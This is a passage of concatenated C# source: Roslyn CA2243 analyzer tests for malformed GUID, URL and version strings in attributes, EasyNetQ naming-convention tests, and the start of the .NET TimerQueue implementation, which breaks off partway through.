0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x99999}}", "Guid"), CA2243CSharpEmptyResultAt(39, 2, "GuidAttribute", "ThisIsAGuid", "Guid")); } [Fact] public async Task CA2243_MiscSymbolsWithBadGuid_CSharp() { await VerifyCS.VerifyAnalyzerAsync(@" using System; [assembly: GuidAttribute(GUID = ""bad-guid"")] public delegate void MiscDelegate([GuidAttribute(GUID = ""bad-guid"")] int p); public class MiscClass<[GuidAttribute(GUID = ""bad-guid"")] U> { public MiscClass<U> this[[GuidAttribute(GUID = ""bad-guid"")] int index] { get { return null; } set { } } public void M<[GuidAttribute(GUID = ""bad-guid"")] T>() { } } [AttributeUsage(AttributeTargets.All, AllowMultiple = false)] public sealed class GuidAttribute : Attribute { private string m_guid; public GuidAttribute() { } public GuidAttribute(string ThisIsAGuid) { m_guid = ThisIsAGuid; } public string GUID { get { return m_guid; } set { m_guid = value; } } } ", CA2243CSharpDefaultResultAt(4, 12, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(6, 36, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(8, 25, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(10, 31, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(21, 20, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid")); } [Fact] public async Task CA2243_NoDiagnostics_CSharp() { await VerifyCS.VerifyAnalyzerAsync(@" using System; public sealed class GoodAttributeStringLiterals { private sealed class MyLiteralsAttribute : Attribute { private string m_url; private string m_version; private string m_guid; private int m_notAVersion; public MyLiteralsAttribute() { } public MyLiteralsAttribute(string url) { m_url = url; } public MyLiteralsAttribute(string url, int dummy1, string thisIsAVersion, int notAVersion) { m_url = url; m_version = thisIsAVersion; m_notAVersion = notAVersion + dummy1; } public string Url { get { return m_url; } set { m_url = value; } } public string Version { get { return m_version; } set { m_version = value; } } public string GUID { get { return m_guid; } set { m_guid = value; } } public int NotAVersion { get { return m_notAVersion; } set { m_notAVersion = value; } } } [MyLiterals(""good/relative/url"", GUID = ""8fcd093bc1058acf8fcd093bc1058acf"", Version = ""1.4.325.12"")] private int x; public GoodAttributeStringLiterals() { DoNothing(1); } [MyLiterals(GUID = ""{8fcd093b-c105-8acf-8fcd-093bc1058acf}"", Url = ""http://good/absolute/url.htm"")] private void DoNothing( [MyLiterals(""goodurl/"", NotAVersion = 12)] int y) { if (x > 0) DoNothing2(y); } [MyLiterals(""http://good/url"", 5, ""1.0.50823.98"", 5)] private void DoNothing2(int y) { this.x = y; } } [AttributeUsage(AttributeTargets.All, AllowMultiple = false)] public sealed class UriTemplateAttribute : Attribute { private string m_uriTemplate; public UriTemplateAttribute() { } public UriTemplateAttribute(string uriTemplate) { m_uriTemplate = uriTemplate; } public string UriTemplate { get { return m_uriTemplate; } set { m_uriTemplate = value; } } } public static class ClassWithExceptionForUri { [UriTemplate(UriTemplate=""{0}"")] public static void MethodWithInvalidUriNamedArgumentThatShouldBeIgnored() { } [UriTemplate(UriTemplate = """")] public static void MethodWithEmptyUriNamedArgumentThatShouldBeIgnored() { } [UriTemplate(""{0}"")] public static void MethodWithInvalidUriRequiredArgumentThatShouldBeIgnored() { } [UriTemplate("""")] public static void MethodWithEmptyUriRequiredArgumentThatShouldBeIgnored() { } }"); } [Fact] public async Task CA2243_BadAttributeStringLiterals_Basic() { await VerifyVB.VerifyAnalyzerAsync(@" Imports System Public NotInheritable Class BadAttributeStringLiterals <MyLiterals(GUID:=""bad-guid"")> Private x As Integer Public Sub New() DoNothing(1) End Sub <MyLiterals(Url:=""bad url"", Version:=""helloworld"")> Private Sub DoNothing(<MyLiterals(""bad url"")> y As Integer) If x > 0 Then DoNothing2(y) End If End Sub <MyLiterals(""good/url"", 5, ""1.0.bad"", 5)> Private Sub DoNothing2(y As Integer) Me.x = y End Sub Private NotInheritable Class MyLiteralsAttribute Inherits Attribute Private m_url As String Private m_version As String Private m_guid As String Public Sub New() End Sub Public Sub New(url As String) m_url = url End Sub Public Sub New(url As String, dummy1 As Integer, thisIsAVersion As String, dummy2 As Integer) m_url = url m_version = thisIsAVersion If dummy1 > dummy2 Then ' just random stuff to use these arguments m_version = """" End If End Sub Public Property Url() As String Get Return m_url End Get Set m_url = value End Set End Property Public Property Version() As String Get Return m_version End Get Set m_version = value End Set End Property Public Property GUID() As String Get Return m_guid End Get Set m_guid = value End Set End Property End Class End Class", CA2243BasicDefaultResultAt(5, 6, "BadAttributeStringLiterals.MyLiteralsAttribute", "BadAttributeStringLiterals.MyLiteralsAttribute.GUID", "bad-guid", "Guid"), CA2243BasicDefaultResultAt(11, 6, "BadAttributeStringLiterals.MyLiteralsAttribute", "BadAttributeStringLiterals.MyLiteralsAttribute.Url", "bad url", "Uri"), CA2243BasicDefaultResultAt(12, 28, "BadAttributeStringLiterals.MyLiteralsAttribute", "url", "bad url", "Uri")); } [Fact] public async Task CA2243_BadGuids_Basic() { await VerifyVB.VerifyAnalyzerAsync(@" Imports System <GuidAttribute(GUID := ""bad-guid"")> _ Public Class ClassWithBadlyFormattedNamedArgumentGuid End Class <GuidAttribute(GUID := ""59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF"")> _ Public Class ClassWithTooManyDashesNamedArgumentGuid End Class <GuidAttribute(GUID := ""{0xCA761232, 0xED421111111, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x11}}"")> _ Public Class ClassWithOverflowNamedArgumentGuid End Class <GuidAttribute(GUID := """")> _ Public Class ClassWithEmptyNamedArgumentGuid End Class <GuidAttribute(""bad-guid"")> _ Public Class ClassWithBadlyFormattedRequiredArgumentGuid End Class <GuidAttribute(""59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF"")> _ Public Class ClassWithTooManyDashesRequiredArgumentGuid End Class <GuidAttribute(""{0xCA761232, 0xED42, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x99999}}"")> _ Public Class ClassWithOverflowRequiredArgumentGuid End Class <GuidAttribute("""")> _ Public Class ClassWithEmptyRequiredArgumentGuid End Class <AttributeUsage(AttributeTargets.All, AllowMultiple := False)> _ Public NotInheritable Class GuidAttribute Inherits Attribute Private m_guid As String Public Sub New() End Sub Public Sub New(ThisIsAGuid As String) m_guid = ThisIsAGuid End Sub Public Property GUID() As String Get Return m_guid End Get Set m_guid = value End Set End Property End Class ", CA2243BasicDefaultResultAt(4, 2, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243BasicDefaultResultAt(8, 2, "GuidAttribute", "GuidAttribute.GUID", "59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF", "Guid"), CA2243BasicDefaultResultAt(12, 2, "GuidAttribute", "GuidAttribute.GUID", "{0xCA761232, 0xED421111111, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x11}}", "Guid"), CA2243BasicEmptyResultAt(16, 2, "GuidAttribute", "GuidAttribute.GUID", "Guid"), CA2243BasicDefaultResultAt(20, 2, "GuidAttribute", "ThisIsAGuid", "bad-guid", "Guid"), CA2243BasicDefaultResultAt(24, 2, "GuidAttribute", "ThisIsAGuid", "59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF", "Guid"), CA2243BasicDefaultResultAt(28, 2, "GuidAttribute", "ThisIsAGuid", "{0xCA761232, 0xED42, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x99999}}", "Guid"), CA2243BasicEmptyResultAt(32, 2, "GuidAttribute", "ThisIsAGuid", "Guid")); } [Fact] public async Task CA2243_MiscSymbolsWithBadGuid_Basic() { await VerifyVB.VerifyAnalyzerAsync(@" Imports System <Assembly: GuidAttribute(GUID := ""bad-guid"")> Public Delegate Sub MiscDelegate(<GuidAttribute(GUID := ""bad-guid"")> p As Integer) Public Class MiscClass Public Default Property Item(<GuidAttribute(GUID := ""bad-guid"")> index As Integer) As MiscClass Get Return Nothing End Get Set End Set End Property End Class <AttributeUsage(AttributeTargets.All, AllowMultiple := True)> _ Public NotInheritable Class GuidAttribute Inherits Attribute Private m_guid As String Public Sub New() End Sub Public Sub New(ThisIsAGuid As String) m_guid = ThisIsAGuid End Sub Public Property GUID() As String Get Return m_guid End Get Set m_guid = value End Set End Property End Class ", CA2243BasicDefaultResultAt(4, 2, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243BasicDefaultResultAt(6, 35, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243BasicDefaultResultAt(9, 35, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid")); } [Fact] public async Task CA2243_NoDiagnostics_Basic() { await VerifyVB.VerifyAnalyzerAsync(@" Imports System Public NotInheritable Class GoodAttributeStringLiterals Private NotInheritable Class MyLiteralsAttribute Inherits Attribute Private m_url As String Private m_version As String Private m_guid As String Private m_notAVersion As Integer Public Sub New() End Sub Public Sub New(url As String) m_url = url End Sub Public Sub New(url As String, dummy1 As Integer, thisIsAVersion As String, notAVersion As Integer) m_url = url m_version = thisIsAVersion m_notAVersion = notAVersion + dummy1 End Sub Public Property Url() As String Get Return m_url End Get Set m_url = Value End Set End Property Public Property Version() As String Get Return m_version End Get Set m_version = Value End Set End Property Public Property GUID() As String Get Return m_guid End Get Set m_guid = Value End Set End Property Public Property NotAVersion() As Integer Get Return m_notAVersion End Get Set m_notAVersion = Value End Set End Property End Class <MyLiterals(""good/relative/url"", GUID:=""8fcd093bc1058acf8fcd093bc1058acf"", Version:=""1.4.325.12"")> Private x As Integer Public Sub New() DoNothing(1) End Sub <MyLiterals(GUID:=""{8fcd093b-c105-8acf-8fcd-093bc1058acf}"", Url:=""http://good/absolute/url.htm"")> Private Sub DoNothing(<MyLiterals(""goodurl/"", NotAVersion:=12)> y As Integer) If x > 0 Then DoNothing2(y) End If End Sub <MyLiterals(""http://good/url"", 5, ""1.0.50823.98"", 5)> Private Sub DoNothing2(y As Integer) Me.x = y End Sub End Class <AttributeUsage(AttributeTargets.All, AllowMultiple:=False)> Public NotInheritable Class UriTemplateAttribute Inherits Attribute Private m_uriTemplate As String Public Sub New() End Sub Public Sub New(uriTemplate As String) m_uriTemplate = uriTemplate End Sub Public Property UriTemplate() As String Get Return m_uriTemplate End Get Set m_uriTemplate = Value End Set End Property End Class Public NotInheritable Class ClassWithExceptionForUri Private Sub New() End Sub <UriTemplate(UriTemplate:=""{0}"")> Public Shared Sub MethodWithInvalidUriNamedArgumentThatShouldBeIgnored() End Sub <UriTemplate(UriTemplate:="""")> Public Shared Sub MethodWithEmptyUriNamedArgumentThatShouldBeIgnored() End Sub <UriTemplate(""{0}"")> Public Shared Sub MethodWithInvalidUriRequiredArgumentThatShouldBeIgnored() End Sub <UriTemplate("""")> Public Shared Sub MethodWithEmptyUriRequiredArgumentThatShouldBeIgnored() End Sub End Class "); } [Fact, WorkItem(3635, "https://github.com/dotnet/roslyn-analyzers/issues/3635")] public async Task ObsoleteAttributeUrlFormat_NoDiagnostic() { await VerifyCS.VerifyAnalyzerAsync(@" namespace System { [AttributeUsage(AttributeTargets.All, AllowMultiple = false)] public class ObsoleteAttribute : Attribute { public string UrlFormat { get; set; } } } namespace Something { using System; public class C { [Obsolete(UrlFormat = """")] public void M1() {} [Obsolete(UrlFormat = ""{0}"")] public void M2() {} } }"); await VerifyVB.VerifyAnalyzerAsync(@" Imports System Namespace System <AttributeUsage(AttributeTargets.All, AllowMultiple:=False)> Public Class ObsoleteAttribute Inherits Attribute Public Property UrlFormat As String End Class End Namespace Namespace Something Public Class C <Obsolete(UrlFormat:="""")> Public Sub M1() End Sub <Obsolete(UrlFormat:=""{0}"")> Public Sub M2() End Sub End Class End Namespace"); } private DiagnosticResult CA2243CSharpDefaultResultAt(int line, int column, params string[] arguments) #pragma warning disable RS0030 // Do not used banned APIs => VerifyCS.Diagnostic(AttributeStringLiteralsShouldParseCorrectlyAnalyzer.DefaultRule) .WithLocation(line, column) #pragma warning restore RS0030 // Do not used banned APIs .WithArguments(arguments); private DiagnosticResult CA2243BasicDefaultResultAt(int line, int column, params string[] arguments) #pragma warning disable RS0030 // Do not used banned APIs => VerifyVB.Diagnostic(AttributeStringLiteralsShouldParseCorrectlyAnalyzer.DefaultRule) .WithLocation(line, column) #pragma warning restore RS0030 // Do not used banned APIs .WithArguments(arguments); private DiagnosticResult CA2243CSharpEmptyResultAt(int line, int column, params string[] arguments) #pragma warning disable RS0030 // Do not used banned APIs => VerifyCS.Diagnostic(AttributeStringLiteralsShouldParseCorrectlyAnalyzer.EmptyRule) .WithLocation(line, column) #pragma warning restore RS0030 // Do not used banned APIs .WithArguments(arguments); private DiagnosticResult CA2243BasicEmptyResultAt(int line, int column, params string[] arguments) #pragma warning disable RS0030 // Do not used banned APIs => VerifyVB.Diagnostic(AttributeStringLiteralsShouldParseCorrectlyAnalyzer.EmptyRule) .WithLocation(line, column) #pragma warning restore RS0030 // Do not used banned APIs .WithArguments(arguments); } }
// ReSharper disable InconsistentNaming using System; using System.Text; using EasyNetQ.Consumer; using EasyNetQ.Tests.Mocking; using NUnit.Framework; using RabbitMQ.Client; using Rhino.Mocks; namespace EasyNetQ.Tests { [TestFixture] public class When_using_default_conventions { private Conventions conventions; private ITypeNameSerializer typeNameSerializer; [SetUp] public void SetUp() { typeNameSerializer = new TypeNameSerializer(); conventions = new Conventions(typeNameSerializer); } [Test] public void The_default_exchange_naming_convention_should_use_the_TypeNameSerializers_Serialize_method() { var result = conventions.ExchangeNamingConvention(typeof (TestMessage)); result.ShouldEqual(typeNameSerializer.Serialize(typeof(TestMessage))); } [Test] public void The_default_topic_naming_convention_should_return_an_empty_string() { var result = conventions.TopicNamingConvention(typeof (TestMessage)); result.ShouldEqual(""); } [Test] public void The_default_queue_naming_convention_should_use_the_TypeNameSerializers_Serialize_method_then_an_underscore_then_the_subscription_id() { const string subscriptionId = "test"; var result = conventions.QueueNamingConvention(typeof (TestMessage), subscriptionId); result.ShouldEqual(typeNameSerializer.Serialize(typeof(TestMessage)) + "_" + subscriptionId); } [Test] public void The_default_error_queue_name_should_be() { var result = conventions.ErrorQueueNamingConvention(); result.ShouldEqual("EasyNetQ_Default_Error_Queue"); } [Test] public void The_default_error_exchange_name_should_be() { var info = new MessageReceivedInfo("consumer_tag", 0, false, "exchange", "routingKey", "queue"); var result = conventions.ErrorExchangeNamingConvention(info); result.ShouldEqual("ErrorExchange_routingKey"); } [Test] public void The_default_rpc_exchange_name_should_be() { var result = conventions.RpcExchangeNamingConvention(); result.ShouldEqual("easy_net_q_rpc"); } [Test] public void The_default_rpc_routingkey_naming_convention_should_use_the_TypeNameSerializers_Serialize_method() { var result = conventions.RpcRoutingKeyNamingConvention(typeof(TestMessage)); result.ShouldEqual(typeNameSerializer.Serialize(typeof(TestMessage))); } } [TestFixture] public class When_using_QueueAttribute { private Conventions conventions; private ITypeNameSerializer typeNameSerializer; [SetUp] public void SetUp() { typeNameSerializer = new TypeNameSerializer(); conventions = new Conventions(typeNameSerializer); } [Test] [TestCase(typeof(AnnotatedTestMessage))] [TestCase(typeof(IAnnotatedTestMessage))] public void The_queue_naming_convention_should_use_attribute_queueName_then_an_underscore_then_the_subscription_id(Type messageType) { const string subscriptionId = "test"; var result = conventions.QueueNamingConvention(messageType, subscriptionId); result.ShouldEqual("MyQueue" + "_" + subscriptionId); } [Test] [TestCase(typeof(AnnotatedTestMessage))] [TestCase(typeof(IAnnotatedTestMessage))] public void And_subscription_id_is_empty_the_queue_naming_convention_should_use_attribute_queueName(Type messageType) { const string subscriptionId = ""; var result = conventions.QueueNamingConvention(messageType, subscriptionId); result.ShouldEqual("MyQueue"); } [Test] [TestCase(typeof(EmptyQueueNameAnnotatedTestMessage))] [TestCase(typeof(IEmptyQueueNameAnnotatedTestMessage))] public void And_queueName_is_empty_should_use_the_TypeNameSerializers_Serialize_method_then_an_underscore_then_the_subscription_id(Type messageType) { const string subscriptionId = "test"; var result = conventions.QueueNamingConvention(messageType, subscriptionId); result.ShouldEqual(typeNameSerializer.Serialize(messageType) + "_" + subscriptionId); } [Test] [TestCase(typeof(AnnotatedTestMessage))] [TestCase(typeof(IAnnotatedTestMessage))] public void The_exchange_name_convention_should_use_attribute_exchangeName(Type messageType) { var result = conventions.ExchangeNamingConvention(messageType); result.ShouldEqual("MyExchange"); } [Test] [TestCase(typeof(QueueNameOnlyAnnotatedTestMessage))] [TestCase(typeof(IQueueNameOnlyAnnotatedTestMessage))] public void And_exchangeName_not_specified_the_exchange_name_convention_should_use_the_TypeNameSerializers_Serialize_method(Type messageType) { var result = conventions.ExchangeNamingConvention(messageType); result.ShouldEqual(typeNameSerializer.Serialize(messageType)); } } [TestFixture] public class When_publishing_a_message { private MockBuilder mockBuilder; private ITypeNameSerializer typeNameSerializer; [SetUp] public void SetUp() { typeNameSerializer = new TypeNameSerializer(); var customConventions = new Conventions(typeNameSerializer) { ExchangeNamingConvention = x => "CustomExchangeNamingConvention", QueueNamingConvention = (x, y) => "CustomQueueNamingConvention", TopicNamingConvention = x => "CustomTopicNamingConvention" }; mockBuilder = new MockBuilder(x => x.Register<IConventions>(_ => customConventions)); mockBuilder.Bus.Publish(new TestMessage()); } [Test] public void Should_use_exchange_name_from_conventions_to_create_the_exchange() { mockBuilder.Channels[0].AssertWasCalled(x => x.ExchangeDeclare("CustomExchangeNamingConvention", "topic", true, false, null)); } [Test] public void Should_use_exchange_name_from_conventions_as_the_exchange_to_publish_to() { mockBuilder.Channels[0].AssertWasCalled(x => x.BasicPublish( Arg<string>.Is.Equal("CustomExchangeNamingConvention"), Arg<string>.Is.Anything, Arg<bool>.Is.Equal(false), Arg<bool>.Is.Equal(false), Arg<IBasicProperties>.Is.Anything, Arg<byte[]>.Is.Anything)); } [Test] public void Should_use_topic_name_from_conventions_as_the_topic_to_publish_to() { mockBuilder.Channels[0].AssertWasCalled(x => x.BasicPublish( Arg<string>.Is.Anything, Arg<string>.Is.Equal("CustomTopicNamingConvention"), Arg<bool>.Is.Equal(false), Arg<bool>.Is.Equal(false), Arg<IBasicProperties>.Is.Anything, Arg<byte[]>.Is.Anything)); } } [TestFixture] public class When_registering_response_handler { private MockBuilder mockBuilder; [SetUp] public void SetUp() { var customConventions = new Conventions(new TypeNameSerializer()) { RpcExchangeNamingConvention = () => "CustomRpcExchangeName", RpcRoutingKeyNamingConvention = messageType => "CustomRpcRoutingKeyName" }; mockBuilder = new MockBuilder(x => x.Register<IConventions>(_ => customConventions)); mockBuilder.Bus.Respond<TestMessage, TestMessage>(t => new TestMessage()); } [Test] public void Should_correctly_bind_using_new_conventions() { mockBuilder.Channels[0].AssertWasCalled(x => x.QueueBind( "CustomRpcRoutingKeyName", "CustomRpcExchangeName", "CustomRpcRoutingKeyName")); } [Test] public void Should_declare_correct_exchange() { mockBuilder.Channels[0].AssertWasCalled(x => x.ExchangeDeclare("CustomRpcExchangeName", "direct", true, false, null)); } } [TestFixture] public class When_using_default_consumer_error_strategy { private DefaultConsumerErrorStrategy errorStrategy; private MockBuilder mockBuilder; private AckStrategy errorAckStrategy; private AckStrategy cancelAckStrategy; [SetUp] public void SetUp() { var customConventions = new Conventions(new TypeNameSerializer()) { ErrorQueueNamingConvention = () => "CustomEasyNetQErrorQueueName", ErrorExchangeNamingConvention = info => "CustomErrorExchangePrefixName." + info.RoutingKey }; mockBuilder = new MockBuilder(); errorStrategy = new DefaultConsumerErrorStrategy( mockBuilder.ConnectionFactory, new JsonSerializer(new TypeNameSerializer()), MockRepository.GenerateStub<IEasyNetQLogger>(), customConventions, new TypeNameSerializer()); const string originalMessage = ""; var originalMessageBody = Encoding.UTF8.GetBytes(originalMessage); var context = new ConsumerExecutionContext( (bytes, properties, arg3) => null, new MessageReceivedInfo("consumerTag", 0, false, "orginalExchange", "originalRoutingKey", "queue"), new MessageProperties { CorrelationId = string.Empty, AppId = string.Empty }, originalMessageBody, MockRepository.GenerateStub<IBasicConsumer>() ); try { errorAckStrategy = errorStrategy.HandleConsumerError(context, new Exception()); cancelAckStrategy = errorStrategy.HandleConsumerCancelled(context); } catch (Exception) { // swallow } } [Test] public void Should_use_exchange_name_from_custom_names_provider() { mockBuilder.Channels[0].AssertWasCalled(x => x.ExchangeDeclare("CustomErrorExchangePrefixName.originalRoutingKey", "direct", true)); } [Test] public void Should_use_queue_name_from_custom_names_provider() { mockBuilder.Channels[0].AssertWasCalled(x => x.QueueDeclare("CustomEasyNetQErrorQueueName", true, false, false, null)); } [Test] public void Should_Ack_failed_message() { Assert.AreSame(AckStrategies.Ack, errorAckStrategy); } [Test] public void Should_Ack_canceled_message() { Assert.AreSame(AckStrategies.Ack, cancelAckStrategy); } } } // ReSharper restore InconsistentNaming
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. // namespace System.Threading { using System; using System.Security; using System.Security.Permissions; using Microsoft.Win32; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.ConstrainedExecution; using System.Runtime.Versioning; using System.Diagnostics.Contracts; using System.Diagnostics.Tracing; using Microsoft.Win32.SafeHandles; [System.Runtime.InteropServices.ComVisible(true)] public delegate void TimerCallback(Object state); // // TimerQueue maintains a list of active timers in this AppDomain. We use a single native timer, supplied by the VM, // to schedule all managed timers in the AppDomain. // // Perf assumptions: We assume that timers are created and destroyed frequently, but rarely actually fire. // There are roughly two types of timer: // // - timeouts for operations. These are created and destroyed very frequently, but almost never fire, because // the whole point is that the timer only fires if something has gone wrong. // // - scheduled background tasks. These typically do fire, but they usually have quite long durations. // So the impact of spending a few extra cycles to fire these is negligible. // // Because of this, we want to choose a data structure with very fast insert and delete times, but we can live // with linear traversal times when firing timers. // // The data structure we've chosen is an unordered doubly-linked list of active timers. This gives O(1) insertion // and removal, and O(N) traversal when finding expired timers. // // Note that all instance methods of this class require that the caller hold a lock on TimerQueue.Instance. // class TimerQueue { #region singleton pattern implementation // The one-and-only TimerQueue for the AppDomain. static TimerQueue s_queue = new TimerQueue(); public static TimerQueue Instance { get { return s_queue; } } private TimerQueue() { // empty private constructor to ensure we remain a singleton. } #endregion #region interface to native per-AppDomain timer // // We need to keep our notion of time synchronized with the calls to SleepEx that drive // the underlying native timer. In Win8, SleepEx does not count the time the machine spends // sleeping/hibernating. Environment.TickCount (GetTickCount) *does* count that time, // so we will get out of sync with SleepEx if we use that method. // // So, on Win8, we use QueryUnbiasedInterruptTime instead; this does not count time spent // in sleep/hibernate mode. // private static int TickCount { [SecuritySafeCritical] get { if (Environment.IsWindows8OrAbove) { ulong time100ns; bool result = Win32Native.QueryUnbiasedInterruptTime(out time100ns); if (!result) throw Marshal.GetExceptionForHR(Marshal.GetLastWin32Error()); // convert to 100ns to milliseconds, and truncate to 32 bits. return (int)(uint)(time100ns / 10000); } else { return Environment.TickCount; } } } // // We use a SafeHandle to ensure that the native timer is destroyed when the AppDomain is unloaded. // [SecurityCritical] class AppDomainTimerSafeHandle : SafeHandleZeroOrMinusOneIsInvalid { public AppDomainTimerSafeHandle() : base(true) { } [SecurityCritical] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] protected override bool ReleaseHandle() { return DeleteAppDomainTimer(handle); } } [SecurityCritical] AppDomainTimerSafeHandle m_appDomainTimer; bool m_isAppDomainTimerScheduled; int m_currentAppDomainTimerStartTicks; uint m_currentAppDomainTimerDuration; [SecuritySafeCritical] private bool EnsureAppDomainTimerFiresBy(uint requestedDuration) { // // The VM's timer implementation does not work well for very long-duration timers. // See kb 950807. // So we'll limit our native timer duration to a "small" value. // This may cause us to attempt to fire timers early, but that's ok - // we'll just see that none of our timers has actually reached its due time, // and schedule the native timer again. // const uint maxPossibleDuration = 0x0fffffff; uint actualDuration = Math.Min(requestedDuration, maxPossibleDuration); if (m_isAppDomainTimerScheduled) { uint elapsed = (uint)(TickCount - m_currentAppDomainTimerStartTicks); if (elapsed >= m_currentAppDomainTimerDuration) return true; //the timer's about to fire uint remainingDuration = m_currentAppDomainTimerDuration - elapsed; if (actualDuration >= remainingDuration) return true; //the timer will fire earlier than this request } // If Pause is underway then do not schedule the timers // A later update during resume will re-schedule if(m_pauseTicks != 0) { Contract.Assert(!m_isAppDomainTimerScheduled); Contract.Assert(m_appDomainTimer == null); return true; } if (m_appDomainTimer == null || m_appDomainTimer.IsInvalid) { Contract.Assert(!m_isAppDomainTimerScheduled); m_appDomainTimer = CreateAppDomainTimer(actualDuration); if (!m_appDomainTimer.IsInvalid) { m_isAppDomainTimerScheduled = true; m_currentAppDomainTimerStartTicks = TickCount; m_currentAppDomainTimerDuration = actualDuration; return true; } else { return false; } } else { if (ChangeAppDomainTimer(m_appDomainTimer, actualDuration)) { m_isAppDomainTimerScheduled = true; m_currentAppDomainTimerStartTicks = TickCount; m_currentAppDomainTimerDuration = actualDuration; return true; } else { return false; } } } // // The VM calls this when the native timer fires. // [SecuritySafeCritical] internal static void AppDomainTimerCallback() { Instance.FireNextTimers(); } [System.Security.SecurityCritical] [DllImport(JitHelpers.QCall, CharSet = CharSet.Unicode)] [SuppressUnmanagedCodeSecurity] static extern AppDomainTimerSafeHandle CreateAppDomainTimer(uint dueTime); [System.Security.SecurityCritical] [DllImport(JitHelpers.QCall, CharSet = CharSet.Unicode)] [SuppressUnmanagedCodeSecurity] static extern bool ChangeAppDomainTimer(AppDomainTimerSafeHandle handle, uint dueTime); [System.Security.SecurityCritical] [DllImport(JitHelpers.QCall, CharSet = CharSet.Unicode)] [SuppressUnmanagedCodeSecurity] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] static extern bool DeleteAppDomainTimer(IntPtr handle); #endregion #region Firing timers // // The list of timers // TimerQueueTimer m_timers; volatile int m_pauseTicks = 0; // Time when Pause was called [SecurityCritical] internal void Pause() { lock(this) { // Delete the native timer so that no timers are fired in the Pause zone if(m_appDomainTimer != null && !m_appDomainTimer.IsInvalid) { m_appDomainTimer.Dispose(); m_appDomainTimer = null; m_isAppDomainTimerScheduled = false; m_pauseTicks = TickCount; } } } [SecurityCritical] internal void Resume() { // // Update timers to adjust their due-time to accomodate Pause/Resume // lock (this) { // prevent ThreadAbort while updating state try { } finally { int pauseTicks = m_pauseTicks; m_pauseTicks = 0; // Set this to 0 so that now timers can be scheduled int resumedTicks = TickCount; int pauseDuration = resumedTicks - pauseTicks; bool haveTimerToSchedule = false; uint nextAppDomainTimerDuration = uint.MaxValue; TimerQueueTimer timer = m_timers; while (timer != null) { Contract.Assert(timer.m_dueTime != Timeout.UnsignedInfinite); Contract.Assert(resumedTicks >= timer.m_startTicks); uint elapsed; // How much of the timer dueTime has already elapsed // Timers started before the paused event has to be sufficiently delayed to accomodate // for the Pause time. However, timers started after the Paused event shouldnt be adjusted. // E.g. ones created by the app in its Activated event should fire when it was designated. // The Resumed event which is where this routine is executing is after this Activated and hence // shouldn't delay this timer if(timer.m_startTicks <= pauseTicks) elapsed = (uint)(pauseTicks - timer.m_startTicks); else elapsed = (uint)(resumedTicks - timer.m_startTicks); // Handling the corner cases where a Timer was already due by the time Resume is happening, // We shouldn't delay those timers. // Example is a timer started in App's Activated event with a very small duration timer.m_dueTime = (timer.m_dueTime > elapsed) ? timer.m_dueTime - elapsed : 0;; timer.m_startTicks = resumedTicks; // re-baseline if (timer.m_dueTime < nextAppDomainTimerDuration) { haveTimerToSchedule = true; nextAppDomainTimerDuration = timer.m_dueTime; } timer = timer.m_next; } if (haveTimerToSchedule) { EnsureAppDomainTimerFiresBy(nextAppDomainTimerDuration); } } } } // // Fire any timers that have expired, and update the native timer to schedule the rest of them. // private void FireNextTimers() { // // we fire the first timer on this thread; any other timers that might have fired are queued // to the ThreadPool. // TimerQueueTimer timerToFireOnThisThread = null; lock (this) { // prevent ThreadAbort while updating state try { } finally { // // since we got here, that means our previous timer has fired. // m_isAppDomainTimerScheduled = false; bool haveTimerToSchedule = false; uint nextAppDomainTimerDuration = uint.MaxValue; int nowTicks = TickCount; // // Sweep through all timers. The ones that have reached their due time // will fire. We will calculate the next native timer due time from the // other timers. // TimerQueueTimer timer = m_timers; while (timer != null) { Contract.Assert(timer.m_dueTime != Timeout.UnsignedInfinite); uint elapsed = (uint)(nowTicks - timer.m_startTicks); if (elapsed >= timer.m_dueTime) { // // Remember the next timer in case we delete this one // TimerQueueTimer nextTimer = timer.m_next; if (timer.m_period != Timeout.UnsignedInfinite) { timer.m_startTicks = nowTicks; timer.m_dueTime = timer.m_period; // // This is a repeating timer; schedule it to run again. // if (timer.m_dueTime < nextAppDomainTimerDuration) { haveTimerToSchedule = true; nextAppDomainTimerDuration = timer.m_dueTime; } } else { // // Not repeating; remove it from the queue // DeleteTimer(timer); } // // If this is the first timer, we'll fire it on this thread. Otherwise, queue it // to the ThreadPool. // if (timerToFireOnThisThread == null) timerToFireOnThisThread = timer; else QueueTimerCompletion(timer); timer = nextTimer; } else { // // This timer hasn't fired yet. Just update the next time the native timer fires. // uint remaining = timer.m_dueTime - elapsed; if (remaining < nextAppDomainTimerDuration) { haveTimerToSchedule = true; nextAppDomainTimerDuration = remaining; } timer = timer.m_next; } } if (haveTimerToSchedule) EnsureAppDomainTimerFiresBy(nextAppDomainTimerDuration); } } // // Fire the user timer outside of the lock! // if (timerToFireOnThisThread != null) timerToFireOnThisThread.Fire(); } [SecuritySafeCritical] private static void QueueTimerCompletion(TimerQueueTimer timer) { WaitCallback callback = s_fireQueuedTimerCompletion; if (callback == null) s_fireQueuedTimerCompletion = callback = new 